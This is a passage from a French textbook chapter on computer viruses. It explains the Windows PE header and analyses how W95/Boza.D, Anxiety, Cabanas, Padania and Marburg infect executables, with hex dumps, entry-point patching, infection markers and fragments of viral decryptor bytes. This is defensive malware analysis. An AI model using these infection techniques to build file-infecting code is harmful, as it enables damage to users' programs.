[PE + 3Ch] 4 File AlignAlignement du FichierTaille minimale affectée à une zone de données avant son charge-ment en mémoire (fréquemment 0200h). Pour que le systèmed’exploitation (le loader) accepte de charger un fichier, ces adressesdoivent être alignées sur une taille minimale. Elles doivent être mul-tiples de cette taille minimale.

PAGET_Ch05 Page 169 Lundi, 11. avril 2005 5:24 17

170 Chapitre 5. Les virus programme

En-tête des sections

Cette zone détaille les différentes sections contenues dans le fichier. Leurs noms etleurs rôles sont généralement prédéfinis et malgré un nombre important d’excep-tions il est possible d’en établir une liste non exhaustive.

OFFSETTAILLE (octet)

DÉSIGNATION

[PE + 50h] 4 Image SizeTaille du ProgrammeTaille totale que prendra l’image d’un fichier en mémoire. Elle estcalculée en additionnant :– la taille virtuelle de chacune des sections (lue dans la zoned’entête des sections) arrondie pour devenir un multiple de la tailleminimale autorisée (champ Object Align),– la taille totale des entêtes (lue à [PE + 50h]) arrondie selon lamême règle.

[PE + 54h] 4 Header SizeTaille de toutes les entêtesElle inclue la Table de Description des Objets (Object Table) etl’ensemble des sections jusqu’ici décrites.

[PE + 78h] 4 Export Table RVAAdresse Virtuelle Relative de la Table Export

[PE + 7Ch] 4 Taille Totale de la Table Export

[PE + 80h] 4 Import Table RVAAdresse Virtuelle Relative de la Table Import

[PE + 78h] 4 Taille Totale de la Table Import

[PE + 88h] 4 Resource Table RVAAdresse Virtuelle Relative de la Table Ressource

[PE + 78h] 4 Taille Totale de la Table Ressource

[PE + A0h] 4 Fixup Table RVAAdresse Virtuelle Relative de la Table Fixup

[PE + 78h] 4 Taille Totale de la Table Fixup

[PE + C0h] 4 Thread Local Storage RVAAdresse virtuelle relative de la zone de gestion des fils d’exécutionà déroulement parallèle (les threads).

PAGET_Ch05 Page 170 Lundi, 11. avril 2005 5:24 17

171©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

Description des sections

Chaque section est décrite sur 28 octets. La taille standard de cette entête est 287hoctets. Elle permet de décrire jusqu’à 10 sections. Les fichiers en contenant généra-lement moins, une partie de l’espace est généralement inoccupée et vide (00h).

00000170: – 2E 74 65 78 74 00 00 00 .text00000180: 60 2D 00 00 00 10 00 00 – 00 2E 00 00 00 04 00 0000000190: 00 00 00 00 00 00 00 00 – 00 00 00 00 20 00 00 60000001A0: 2E 72 64 61 74 61 00 00 – 87 03 00 00 00 40 00 00 .rdata000001B0: 00 04 00 00 00 32 00 00 – 00 00 00 00 00 00 00 00000001C0: 00 00 00 00 40 00 00 40 -000001C0: – 2E 64 61 74 61 00 00 00 .data000001D0: C4 52 00 00 00 50 00 00 – 00 42 00 00 00 36 00 00000001E0: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 C0000001F0: 2E 69 64 61 74 61 00 00 – 52 03 00 00 00 B0 00 00 .idata00000200: 00 04 00 00 00 78 00 00 – 00 00 00 00 00 00 00 0000000210: 00 00 00 00 40 00 00 C0 -00000210: – 2E 72 65 6C 6F 63 00 00 .reloc00000220: FE 03 00 00 00 C0 00 00 – 00 04 00 00 00 7C 00 0000000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 42

Tableau 5.4 — Descriptif de quelques sections de type courant

INTITULÉ NOM(S) RÔLE, CONTENANCE

Executable Code SectionSection pour Code Executable

.text ou text (compilateur Microsoft)

Point d’entrée (EP-RVA)Code du programme

.CODE ou CODE (compilateur Borland)

Data SectionSection des Données

.bss Donnéesvariables (.bss)constantes (rdata).rdata

.data

Resources SectionSection Ressource

.rsrc Ressources

Export Data SectionSection des Données Exportées

.edata Informations pour l’appel desfonctions exportées

.pdata

Import Data SectionSection des Données Importées

.idata (Microsoft) Liste des fonctions importées

.rdata (Borland)

Debug Information SectionSection des Informations Débuggeur

.debug Information de débuggage

Relocation SectionSection pour Relocation

.reloc Contient la table de relocationuniquement utile s’il faut« linker » des programmes avecdes symboles externes.

PAGET_Ch05 Page 171 Lundi, 11. avril 2005 5:24 17

172 Chapitre 5. Les virus programme

Tableau 5.5 — Informations liées au descriptif des sections

OFFSETTAILLE (octets)

DÉSIGNATION

[00h] 8 Nom de la sectionLe premier caractère est souvent un point (2Eh].

[08h] 4 Taille Virtuelle de la section

[0Ch] 4 Adresse VirtuelleOffset relatif à l’adresse de base de l’image.

[10h] 4 Taille PhysiqueElle doit être plus petite que la Taille Virtuelle et multiple de lavaleur d’alignement du fichier [PE + 3Ch].

[14h] 4 Adresse PhysiqueOffset relatif au début du fichier.

[24h] 4 CaractéristiquesCodée sur 4 octets, ce champ en précise les attributs (voir tableausuivant).

Tableau 5.6 — Caractéristiques d’une section

Caractéristiques d’une section

Valeur Autorisation pour la section Contenance

0x10h Partage

0x20h Exécution

0x40h Lecture

0x60h Lecture + Exécution

0x80h Écriture

0xC0h Lecture + Écriture

0xE0h Lecture + Exécution + Écriture

0x01h Relocations étendues

0x02h La section peut être supprimée

0x04h La section ne peut être mise en cache

0x08h La section n’est pas paginable

0x……20h Code Exécutable

0x……40h Constantes (Initialized data)

0x……80h Variables (Un-initialized data)

PAGET_Ch05 Page 172 Lundi, 11. avril 2005 5:24 17

173©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

Les caractéristiques d’une section se déclinent par une simple addition. Il est pos-sible de préciser pour l’exemple ci-dessus :

5.2.2 Quelques méthodes d’infection

Dans la plupart des exemples que nous allons maintenant survoler, le point de départd’analyse se situe au niveau de l’offset de la signature PE. Comme nous l’avons vuprécédemment cette valeur que nous dénommons [PE] se lit à [MZ + 3Ch] :

[PE] = [MZ + 3Ch]

Ajout de section et modification du point d’entrée

Nous allons ici étudier W95/Boza.D.

Dans le cas présent, le code viral fait l’objet d’une nouvelle section que le virusdoit référencer dans l’entête des sections. L’adresse du point d’entrée est modifiéepour pointer vers cette nouvelle zone.

Tableau 5.7 — Exemple de caractéristiques de sections courantes

Nom de la section Caractéristique Remarques

.text 0x20000000h+ 0x40000000h+ 0x00000020h------------------= 0x60000020h

Lecture et exécution autorisée.La section contient du code exécutable.

.rdata 0x40000000h+ 0x00000040h------------------= 0x40000040h

Lecture seule autorisée.La section contient des constantes.

.data 0x40000000h+ 0x80000000h+ 0x00000040h------------------= 0xC0000040h

Lecture et écriture autorisée.La section contient des constantes.

.idata 0x40000000h+ 0x80000000h+ 0x00000040h------------------= 0xC0000040h

Lecture et écriture autorisée.La section contient des constantes.

.reloc 0x40000000h +0x02000000h+ 0x00000040h------------------= 0x42000040h

Lecture seule autorisée.La section contient des constantes maisn’est pas indispensable au bon fonction-nement de l’exécutable.

PAGET_Ch05 Page 173 Lundi, 11. avril 2005 5:24 17

174 Chapitre 5. Les virus programme

Le travail débute par la recherche de l’offset lié à l’entête des sections. Il est égalà :

• [PE] (offset de la signature PE)• 04h (taille de la signature)• 14h (taille de l’entête PE)• Taille de l’entête optionnelle lue à [PE + 14h]

Dans notre exemple : 80h + 04h + 14h + E0h = 178h).

Une nouvelle entrée de section est ajoutée en fin de zone de description des sec-tions. Il faut pour cela connaître la taille actuelle de la zone selon la règle :

Nombre d’entrées lu à [PE +6h] : 28h (taille d’une description).

Dans notre exemple : 5 * 28h = C8h

La nouvelle section sera décrite à l’offset : 178h + C8h =240h

Afin d’en constituer la structure, le virus utilise, entre autre, les informations del’actuelle dernière section. Dans notre exemple, il s’agit de .reloc :

00000210: – 2E 72 65 6C 6F 63 00 00 .reloc00000220: FE 03 00 00 00 C0 00 00 – 00 04 00 00 00 7C 00 0000000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 42Taille Virtuelle (.reloc) = 03FEh (offset 08h)RVA(.reloc) = C000h (offset 0Ch)Taille Physique (.reloc) = 0400h (offset 10h)Adresse Physique (.reloc) = 7C00h (offset 14h)Caractéristiques (.reloc) = 42000040h (offset 24h)

Le virus dénomme la nouvelle section .vlad. Elle est ainsi bâtie :

Taille Virtuelle = ((( Taille Virus + Taille Buffer )/Alignement Section )+ 1) * Alignement SectionTaille Virtuelle = ((( BE6h + 1000h )/ 1000h )+ 1) * 1000hTaille Virtuelle = 2000hRVA = (((RVA original + Taille Virtuelle originale)/Alignement Section )+ 1) * Alignement SectionRVA = ((( C000h + 03FEh )/ 1000h )+ 1) * 1000hRVA = D000hTaille Phys. = ((( Taille Virus )/Alignement Fichier))+1) * Alignement FichierTaille Phys. = ((( BE6h )/ 200h ))+1) * 200hTaille Phys. = C00hAdresse Phys. = (((Adresse Phys. originale + Taille Phys. originale)/Alignement Fichier)+ 1) * Alignement FichierAdresse Phys. = ((( 7C00h + 0400h )/ 200h )+ 1) * 200hAdresse Phys. = 8200hCaractéristiques = Contenance de Constantes + Lecture + EcritureCaractéristiques = 0x00000040h + 0x40000000h + 0x80000000hCaractéristiques = 0xC0000040h 00000240: 2E 76 6C 61 64 00 00 00 – 00 20 00 00 00 D0 00 00 .vlad00000250: 00 0C 00 00 00 82 00 00 – 00 00 00 00 00 00 00 0000000260: 00 00 00 00 40 00 00 C0 -

PAGET_Ch05 Page 174 Lundi, 11. avril 2005 5:24 17

175©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

Dans l’entête PE, le nombre d’entrées dans la table des objets est incrémentéde 1 :

00000080: 50 45 00 00 PE 4C 01 06 00 – 91 99 A0 34 00 00 00 0000000090: 00 00 00 00 E0 00 0E 01 -

Dans l’entête optionnelle :

• l’offset du point d’entrée [PE + 28h] est remplacé par l’adresse virtuelle rela-tive de la nouvelle section,

• la taille du programme (Image Size) [PE + 50h] est actualisée (+ 1000h),• la valeur F00Dh est écrite dans une zone réservée. Le virus l’utilisera comme

marqueur d’infection.

00000090: – 0B 01 03 0A 00 2E 00 00000000A0: 00 60 00 00 00 00 00 00 – 00 D0 00 00 00 10 00 00000000B0: 00 40 00 00 00 00 40 00 – 00 10 00 00 00 02 00 00000000C0: 04 00 00 00 00 00 00 00 – 04 00 00 00 0D F0 00 00000000D0: 00 F0 00 00 00 04 00 00 – 00 00 00 00 03 00 00 00000000E0: 00 00 10 00 00 10 00 00 – 00 00 10 00 00 10 00 00000000F0: 00 00 00 00 10 00 00 00 – 00 00 00 00 00 00 00 0000000100: 00 B0 00 00 28 00 00 00 – 00 00 00 00 00 00 00 0000000110: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000120: 00 C0 00 00 20 03 00 00 – 00 00 00 00 00 00 00 0000000130: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000140: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000150: 00 00 00 00 00 00 00 00 – A8 B0 00 00 80 00 00 0000000160: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000170: 00 00 00 00 00 00 00 00 -

Notons que la taille de l’entête des sections n’est pas modifiée par cet ajout. Lenombre limité de sections au sein d’un fichier fait que cette zone contient générale-ment de l’espace libre. La présence du virus n’induit donc aucun décalage dans lesentêtes. Seul du code complémentaire est ajouté en fin de fichier.

Ajout de code en fin de dernière section et modification du point d’entrée

Nous étudions cette fois ci le virus W95/Anxiety.1596

Dans notre exemple, la dernière section se dénomme .reloc :

00000210: – 2E 72 65 6C 6F 63 00 00 .reloc00000220: FE 03 00 00 00 C0 00 00 – 00 04 00 00 00 7C 00 0000000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 42Taille Virtuelle (.reloc) = 03FEh (offset 08h)RVA(.reloc) = C000h (offset 0Ch)Physical Size (.reloc) = 0400h (offset 10h)Physical Offset (.reloc) = 7C00h (offset 14h)Caractéristiques (.reloc) = 42000040h (offset 24h)

Pour s’infiltrer dans la section, le virus opère les modifications suivantes dansl’entête des sections :

PAGET_Ch05 Page 175 Lundi, 11. avril 2005 5:24 17

176 Chapitre 5. Les virus programme

Taille Virtuelle = Taille Virtuelle originale + 1000hTaille Virtuelle = 3FEh + 1000hTaille Virtuelle = 13FEhRVA = RVA (inchangée)Taille Phys. = Taille Virtuelle originale + Taille du VirusTaille Phys. = 3FEh + 800hTaille Phys. = BFEhAdresse Phys. = Adresse Phys. (inchangée)Caractéristiques = Contenance de Constantes + Exécution + Lecture + EcritureCaractéristiques = 0x00000040h + 0x20000000h + 0x40000000h + 0x80000000hCaractéristiques = 0xE0000040h

En conséquence, la dernière section devient :

00000210: – 2E 72 65 6C 6F 63 00 FF .reloc00000220: FE 13 00 00 00 C0 00 00 – FE 0B 00 00 00 7C 00 0000000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 E0

Le dernier octet du nom de section est mis à FFh. Il s’agit du marqueur d’infec-tion.

La nouvelle taille physique est augmentée de 7FEh (2046 octets). Il s’agit del’exacte différence de taille entre un fichier sain et un fichier infecté. La taille duvirus est 800h (2048 octets). Il y a donc une différence de 2 octets. Cela s’expliquepar le fait que ce virus s’installe en fin de section et non pas en fin de fichier. Les2 derniers octets du fichier sain sont donc définitivement perdus ce qui n’a souventaucune importance.

Cette zone est cependant utilisée par certaines applications. Pour quelques com-pacteurs (exemple WINRAR SFX), elle contient les données compressées par l’outil.En cas d’attaque virale, elles sont définitivement écrasées et le fichier est irrécupéra-ble.

Il n’y a pas de changement dans l’entête PE. Dans l’entête optionnelle, la taillevirtuelle originale de la section (avant infection) est ajoutée à la taille du pro-gramme (Image Size) [PE + 50h] :

Taille Programme = prev. Taille Programme + Taille Virtuelle originale of last sectionTaille Phys. = D000h + 3FEhTaille Phys. = D3FEh

L’offset du point d’entrée [PE + 28h] est modifié pour atteindre le début du codeviral (juste après la fin de la dernière section d’origine). Le virus prend soin de sous-traire 1000h octets car la valeur de l’alignement de la section est inférieure à la tailledu virus.

00000090: – 0B 01 03 0A 00 2E 00 00000000A0: 00 60 00 00 00 00 00 00 – FE C3 00 00 00 10 00 00000000B0: 00 40 00 00 00 00 40 00 – 00 10 00 00 00 02 00 00000000C0: 04 00 00 00 00 00 00 00 – 04 00 00 00 00 00 00 00000000D0: FE D3 00 00 00 04 00 00 – 00 00 00 00 03 00 00 00000000E0: 00 00 10 00 00 10 00 00 – 00 00 10 00 00 10 00 00000000F0: 00 00 00 00 10 00 00 00 – 00 00 00 00 00 00 00 0000000100: 00 B0 00 00 28 00 00 00 – 00 00 00 00 00 00 00 00

PAGET_Ch05 Page 176 Lundi, 11. avril 2005 5:24 17

177©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

00000110: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000120: 00 C0 00 00 20 03 00 00 – 00 00 00 00 00 00 00 0000000130: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000140: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000150: 00 00 00 00 00 00 00 00 – A8 B0 00 00 80 00 00 0000000160: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000170: 00 00 00 00 00 00 00 00 -

Tout comme pour les anciens programmes MS-DOS, le virus se doit de sauvegar-der les données relatives au point d’entrée original du programme. Sans cela il luiserait impossible de lui passer la main après exécution du code viral.

Dans le cas présent l’EP-RVA d’origine est visible à [EP-RVA viral + ACh].

00007FF0: BDFC00008000: A3 00 00 66 2B C9 BF 00 – 10 00 C0 B8 FF 00 00 0000008010: B9 FF FF FF FF F2 AE 8B – D9 0B C9 0F 84 80 00 0000008020: 00 81 FF 00 C0 00 C0 73 – 78 90 90 90 90 F3 AE 0B00008030: C9 74 6E 90 90 90 90 2B – D9 81 FB 3F 07 00 00 7200008040: D4 2B FB B8 7F 15 00 C0 – 8B 18 81 7B 0C 56 4D 4D00008050: 20 75 4E 90 90 90 90 8B – 5B 30 8D 43 3C 89 85 C100008060: 20 40 00 8B 00 89 85 D2 – 20 40 00 8D 87 B2 00 0000008070: 00 89 43 3C 8D B5 02 20 – 40 00 B9 3F 06 00 00 8900008080: BD B6 20 40 00 81 AD B6 – 20 40 00 02 20 40 00 8900008090: BD 2C 21 40 00 81 AD 2C – 21 40 00 02 20 40 00 F3000080A0: A4 8C 8D B2 20 40 00 EB – 00 EA B0 11 40 00 37 01

Pour être précis :

Valeur sauvée = Adresse de base + EP-RVA d’origine004011B0h = 00400000h + 000011B0h

Ajout de code en fin de dernière section et redirection depuis le point d’entrée (inchangé)

Cette technique se retrouve dans le virus W32/Cabanas.A.

La section .reloc de notre fichier appât nous est maintenant familière :

00000210: – 2E 72 65 6C 6F 63 00 00 .reloc00000220: FE 03 00 00 00 C0 00 00 – 00 04 00 00 00 7C 00 0000000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 42Taille Virtuelle (.reloc) = 03FEh (offset 08h)RVA(.reloc) = C000h (offset 0Ch)Physical Size (.reloc = 0400h (offset 10h)Physical Offset (.reloc) = 7C00h (offset 14h)Caractéristiques (.reloc) = 42000040h (offset 24h)Le virus effectue les modifications suivantes :Taille Virtuelle = Taille Virtuelle originale + 1300h + 00xxh (afin d’obtenir DB)Taille Virtuelle = 3FEh + 1300h + 00DDhTaille Virtuelle = 17DBhRVA = RVA (inchangée)Taille Phys. = Taille Phys. originale + Taille du VirusTaille Phys. = 400h + C00hTaille Phys. = 1000hAdresse Phys. = Adresse Phys. (inchangée)Caractéristiques = Prev. Caractéristiques + Ecriture Caractéristiques = 0x42000040h + 0x80000000hCaractéristiques = 0xC2000040h

PAGET_Ch05 Page 177 Lundi, 11. avril 2005 5:24 17

178 Chapitre 5. Les virus programme

En conséquence la section devient :

00000210: – 2E 72 65 6C 6F 63 00 00 .reloc00000220: DB 17 00 00 00 C0 00 00 – 00 10 00 00 00 7C 00 0000000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 C2

Dans l’entête PE le champ Date et Heure de Création est modifié. La nouvellevaleur est issue d’un calcul de checksum que le virus utilise comme marqueurd’infection.

00000080: 50 45 00 00 PE 4C 01 05 00 – A3 A6 FD 2E 00 00 00 0000000090: 00 00 00 00 E0 00 0E 01 -

Dans l’entête optionnelle, la taille du programme (Image Size) [PE + 50h] estactualisée (+1000h). Le point d’entrée [PE + 28h] est inchangé :

00000090: – 0B 01 03 0A 00 2E 00 00000000A0: 00 60 00 00 00 00 00 00 – B0 11 00 00 00 10 00 00000000B0: 00 40 00 00 00 00 40 00 – 00 10 00 00 00 02 00 00000000C0: 04 00 00 00 00 00 00 00 – 04 00 00 00 00 00 00 00000000D0: 00 E0 00 00 00 04 00 00 – 00 00 00 00 03 00 00 00000000E0: 00 00 10 00 00 10 00 00 – 00 00 10 00 00 10 00 00000000F0: 00 00 00 00 10 00 00 00 – 00 00 00 00 00 00 00 0000000100: 00 B0 00 00 28 00 00 00 – 00 00 00 00 00 00 00 0000000110: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000120: 00 C0 00 00 20 03 00 00 – 00 00 00 00 00 00 00 0000000130: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000140: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000150: 00 00 00 00 00 00 00 00 – A8 B0 00 00 80 00 00 0000000160: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000170: 00 00 00 00 00 00 00 00

Les cinq premiers octets du point d’entrée – là ou se situait préalablement la findu fichier – sont remplacés par un saut (FAR JMP) vers le début du code viral :

000005B0: 64 A1 00 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 (fichier original)000005B0: E9 4B B2 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 (fichier infecté)

Ces 5 octets sont nécessaires au virus, il doit les restituer lorsqu’il redonne lamain au programme. Ceux ci sont stockés, après avoir été crypté, non loin du pointd’entrée viral :

00008000: E8 AE 01 00 00 0D EB 02 – 4D 05 00 49 70 6A 6A 6A

Tableau 5.8 — Grille de décryptage du virus Cabanas

Valeur stockée B1 B2 B3 B4 B5

AL 49 70 6A 6A 6A

100 MOV CL,5 5 4 3 2 1

102 XOR AL,6A 23 1A 00 00 00

104 ROL AL,CL 64 A1 00 00 00

106 LOOP 102

PAGET_Ch05 Page 178 Lundi, 11. avril 2005 5:24 17

179©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

Notons pour finir qu’après infection, la taille du fichier est de 35 865 octets ; c’estun multiple de 101 (35865 = 101 * 355), cette indication nous précise que le virus aété écrit par un membre du groupe 29A.

Ecrasement de la dernière section et redirection depuis le point d’entrée (inchangé)

W95/Padania va nous servir d’exemple. Un premier examen de notre fichier appâtnous montre qu’un marqueur d’infection est visible dans l’entête optionnelle :

00000080: 50 45 00 00 4C 01 05 00 – 91 99 A0 34 00 00 00 00 PE00000090: 00 00 00 00 E0 00 0E 01 -00000090: – 0B 01 03 0A 00 2E 00 00000000A0: 00 60 00 00 00 00 00 00 – B0 11 00 00 00 10 00 00000000B0: 00 40 00 00 00 00 40 00 – 00 10 00 00 00 02 00 00000000C0: 04 00 00 00 62 30 7A 30 – 04 00 00 00 00 00 00 00 ....b0z0000000D0: 00 D0 00 00 00 04 00 00 – 00 00 00 00 03 00 00 00000000E0: 00 00 10 00 00 10 00 00 – 00 00 10 00 00 10 00 00000000F0: 00 00 00 00 10 00 00 00 – 00 00 00 00 00 00 00 0000000100: 00 B0 00 00 28 00 00 00 – 00 00 00 00 00 00 00 0000000110: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00

Le virus a écrasé (avec 00h) l’adresse virtuelle relative et la taille de la tableFixup.

00000120: 00 00 00 00 00 00 00 00 -

Dans l’entête des sections, la dernière d’entre elle a disparue. La section .reloc estremplacée par une entrée dénommée Padania. L’analyse d’autres fichiers infectésnous montre qu’en l’absence de section nommée .reloc le virus agit comme l’auraitfait W95/Boza.D : il rajoute une section et incrémente de 1 leur nombre [PE + 06h].

00000210: – 50 61 64 61 6E 69 61 20 Padania 00000220: 37 05 00 00 00 00 C0 BF – 37 05 00 00 00 7C 00 0000000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 C0

Deux cas se présentent à nous. Pour le premier, un court programme est écrit encontinuité du descriptif de la nouvelle section.

00000268 9C 80 3D 3B 05 00 C0 00 – 75 1E 81 3D 2B 05 00 C0 00000278: 50 44 4E 27 75 12 60 E8 – 00 00 00 00 58 83 C0 0B PDN’00000288: 50 68 00 00 00 C0 C3 61 – 9D EB 00 B8 B0 11 40 0000000298: FF E0 50 44 4E 27 39 38 – E9

Le virus peut ensuite agir de deux manières distinctes :

• Il modifie l’adresse du point d’entrée. On se retrouve alors dans le cas du virusW95/Anxiety.1596 ; l’adresse originale du point d’entrée est stockée dans lazone récemment créée (ci-dessus en gras).

• Il laisse inchangé l’adresse du point d’entrée mais redirige rapidement leprogramme vers la nouvelle zone récemment créée.

PAGET_Ch05 Page 179 Lundi, 11. avril 2005 5:24 17

180 Chapitre 5. Les virus programme

Dans ce second cas, le virus n’écrase pas directement les premiers octets du pro-gramme sain. Il recherche une zone particulière pour y positionner son saut. Selonles cas, 5 ou 6 octets sont écrasés après avoir été préalablement sauvegardé.

00000240: 9C 80 3D 3B 05 00 C0 00 – 75 1E 81 3D 2B 05 00 C000000250: 50 44 4E 27 75 12 60 E8 – 00 00 00 00 58 83 C0 0B PDN’00000260: 50 68 00 00 00 C0 C3 61 – 9D EB 07 B8 06 10 40 0000000270: FF E0 90 68 10 2C 40 00 – E9 48 0F

000005B0: 64 A1 00 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 (fichier original)000005C0: 68 10 2C 40 00 50 64 89 – 25 00 00 00 00 83 EC 10000005B0: 64 A1 00 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 (fichier infecté)000005C0: E9 7B F0 FF FF 50 64 89 – 25 00 00 00 00 83 EC 10

Méthodes combinées avec polymorphie

Afin de rendre plus difficile l’éradication, certains virus agissent différemment selonla structure des fichiers qu’ils infectent C’est le cas des variantes A et B de W95/Marburg.

Le virus rajoute son code à la fin de la dernière section après l’avoir crypté à l’aided’un moteur polymorphe. Il agit ensuite selon l’une des 3 manières suivantes :

• il modifie, dans la majorité des cas, l’adresse du point d’entrée (méthode W95/Anxiety.1596),

• il laisse inchangé l’adresse du point d’entrée mais y positionne un saut verssont propre code (méthode W32/Cabanas.A),

• il laisse inchangé l’adresse du point d’entrée mais y positionne une routinepolymorphique suivie d’un saut.

La suite de l’exemple est liée à la seconde possibilité. Revenons, une fois de plussur la structure de la dernière section de notre programme appât :

00000210: – 2E 72 65 6C 6F 63 00 00 .reloc00000220: FE 03 00 00 00 C0 00 00 – 00 04 00 00 00 7C 00 0000000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 42Taille Virtuelle (.reloc) = 03FEh (offset 08h)RVA(.reloc) = C000h (offset 0Ch)Physical Size (.reloc) = 0400h (offset 10h)Physical Offset (.reloc) = 7C00h (offset 14h)Caractéristiques (.reloc) = 42000040h (offset 24h)Une fois modifiées par le virus, les valeurs deviennent :Taille Virtuelle (.reloc) = 25ECh (offset 08h)Physical Size (.reloc) = 2600h (offset 10h)Caractéristiques (.reloc) = C0000040h (offset 24h)00000210: – 2E 72 65 6C 6F 63 00 00 .reloc00000220: EC 25 00 00 00 C0 00 00 – 00 26 00 00 00 7C 00 0000000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 00 00 C0

Dans l’entête optionnelle, la taille du programme (Image Size) [PE + 50h] estmodifiée. L’adresse du point d’entrée [PE + 28h] est inchangée.

00000090: – 0B 01 03 0A 00 2E 00 00000000A0: 00 60 00 00 00 00 00 00 – B0 11 00 00 00 10 00 00

PAGET_Ch05 Page 180 Lundi, 11. avril 2005 5:24 17

181©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

000000B0: 00 40 00 00 00 00 40 00 – 00 10 00 00 00 02 00 00000000C0: 04 00 00 00 00 00 00 00 – 04 00 00 00 00 00 00 00000000D0: 00 00 01 00 00 04 00 00 – 00 00 00 00 03 00 00 00000000E0: 00 00 10 00 00 10 00 00 – 00 00 10 00 00 10 00 00000000F0: 00 00 00 00 10 00 00 00 – 00 00 00 00 00 00 00 0000000100: 00 B0 00 00 28 00 00 00 – 00 00 00 00 00 00 00 0000000110: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000120: 00 C0 00 00 20 03 00 00 – 00 00 00 00 00 00 00 0000000130: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000140: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000150: 00 00 00 00 00 00 00 00 – A8 B0 00 00 80 00 00 0000000160: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000170: 00 00 00 00 00 00 00 00

Au point d’entrée d’origine, les 5 premiers octets sont remplacés par un saut(FAR JMP) vers la fin du code viral :

000005B0: 64 A1 00 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 (original file)000005B0: E9 EC C8 00 00 00 55 8B – EC 6A FF 68 00 40 40 00 (infected file)

(jmp 0000CEA1)

Cette adresse correspond au début du moteur de décryptage polymorphique. Denombreux sauts et de nombreuses instructions sans intérêt (en anglais, garbage) sontinsérées parmi les quelques instructions utiles. Le code se résume à :

xxxx:96A1 garbagemov <reg_01>, V1garbage

decrypt: fonction de décryptage (+ garbage)garbageinc ou decgarbagecmp <reg_02>, V2 81 ? ? ? ? ?jne decrypt: 0F 85 ? FF FF FFgarbagejmp code décrypté

La fonction de décryptage est réalisée par un SUB ou un XOR. Les registres utili-sés sont variables. À titre d’exemple, l’instruction CMP est à même de prendre lesvaleurs suivantes :

81 F8 ? ? ? ? (reg_02 = eax) 81 F9 ? ? ? ? (reg_02 = ecx)81 FA ? ? ? ? (reg_02 = edx) 81 FB ? ? ? ? (reg_02 = ebx)81 FC ? ? ? ? (reg_02 = esp) 81 FD ? ? ? ? (reg_02 = ebp)81 FE ? ? ? ? (reg_02 = esi) 81 FF ? ? ? ? (reg_02 = edi)

Les opcodes, éléments déterminant d’une instruction qui la définisse et la diffé-rencie sans ambiguïté, correspondent à la loi :

opcode AND F8FFh = F881h

Au travers des 2 exemples ci-dessous, il est possible de repérer les instructionsutiles (en gras) perdues au milieu du code superflu.

PAGET_Ch05 Page 181 Lundi, 11. avril 2005 5:24 17

182 Chapitre 5. Les virus programme

Exemple N°1

0096DF 13 4D 56 AC 69 41 DD 32 4F 4B 2C 3F 91 88 96 710096EF 43 F9 FA 4A 0F BF DB B9 5F 69 85 A1 0F BF DE 660096FF 8B DA E9 14 00 00 00 E7 A4 80 D9 01 DB 8F FF 9300970F D0 D6 56 A9 AF 5A 16 CF 1A EA D3 E9 14 00 00 0000971F 07 2C 2B 53 21 BC 43 D5 13 10 B8 D6 F9 4C B3 B700972F DF 99 61 1D E9 1C 00 00 00 69 85 94 F5 A7 18 D800973F A3 C1 8B 82 B8 F3 A7 2E 7E A9 AF 04 48 0F BF 5100974F 9B B1 C7 0A 30 0F BF EE BD FD FF FF FF 66 8B F700975F FF 8C 2F 92 3A 05 E3 80 EE C3 41 E9 14 00 00 0000976F A3 C9 42 42 A9 3F 1A 3F 67 46 2B 34 41 4C 80 1200977F 33 C1 2B 89 E9 1C 00 00 00 71 CB 51 AF 03 8F C500978F FC F9 75 67 1C 47 C2 DA 6E E1 6D D2 DB 33 B8 8500979F FA D9 E8 F3 70 81 EF 04 00 00 00 0F BF DF 66 8B0097AF E9 81 F9 07 6F 85 A1 0F 85 5E FF FF FF 0F BF EF0097BF E9 3C E8 FF FF D1 06 C9 7B E3 DF AC A6 E9 C4 090097CF 52 A7 B5 3D 9E 41 D0 FF EA 73 5A CF A0 A9 1C F40097DF F3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 000097EF 00 00 00 00 00 00 00 00 00 